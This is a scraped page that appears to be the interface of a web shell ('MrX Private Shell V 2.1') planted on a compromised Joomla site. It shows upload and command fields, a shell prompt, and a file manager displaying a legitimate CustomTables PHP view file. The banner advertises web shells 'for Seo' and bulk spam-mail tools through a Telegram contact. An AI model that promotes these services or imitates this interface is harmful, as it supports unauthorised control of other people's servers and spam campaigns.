__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * CustomTables Joomla! 3.x/4.x/5.x Component
 * @package Custom Tables
 * @author Ivan Komlev <[email protected]>
 * @link https://joomlaboat.com
 * @copyright (C) 2018-2024. Ivan Komlev
 * @license GNU/GPL Version 2 or later - https://www.gnu.org/licenses/gpl-2.0.html
 **/

// no direct access
defined('_JEXEC') or die();

use CustomTables\common;
use CustomTables\CT;
use CustomTables\Edit;
use Joomla\CMS\Factory;
use Joomla\CMS\MVC\View\HtmlView;
use CustomTables\ctProHelpers;

jimport('joomla.html.pane');
jimport('joomla.application.component.view'); //Important to get menu parameters

class CustomTablesViewEditItem extends HtmlView
{
	var CT $ct;
	var ?array $row;
	var string $formLink;
	var Edit $editForm;

	function display($tpl = null): bool
	{
		$this->ct = new CT(null, false);
		$Model = $this->getModel();
		$Model->load($this->ct);

		if (!$this->ct->CheckAuthorization(1)) {
			//not authorized
			Factory::getApplication()->enqueueMessage(common::translate('COM_CUSTOMTABLES_NOT_AUTHORIZED'), 'error');
			return false;
		}

		if (!isset($this->ct->Table->fields) or !is_array($this->ct->Table->fields))
			return false;

		if ($this->ct->Env->frmt == 'json')
			require_once('tmpl' . DIRECTORY_SEPARATOR . 'json.php');
		else {

			$this->formLink = $this->ct->Env->WebsiteRoot . 'index.php?option=com_customtables&amp;view=edititem' . ($this->ct->Params->ItemId != 0 ? '&amp;Itemid=' . $this->ct->Params->ItemId : '');
			if (!is_null($this->ct->Params->ModuleId))
				$this->formLink .= '&amp;ModuleId=' . $this->ct->Params->ModuleId;

			$this->editForm = new Edit($this->ct);
			$this->editForm->load();

			if (!empty($this->ct->Params->listing_id))
				$this->row = $this->ct->Table->loadRecord($this->ct->Params->listing_id);
			else
				$this->row = null;

			if (isset($row)) {
				if ($this->ct->Env->advancedTagProcessor and class_exists('CustomTables\ctProHelpers'))
					$this->row = ctProHelpers::getSpecificVersionIfSet($this->ct, $row);
			}
			parent::display($tpl);
		}
		return true;
	}
}

Filemanager

Name Type Size Permission Actions
tmpl Folder 0775
index.html File 43 B 0664
view.html.php File 2.07 KB 0664
Filemanager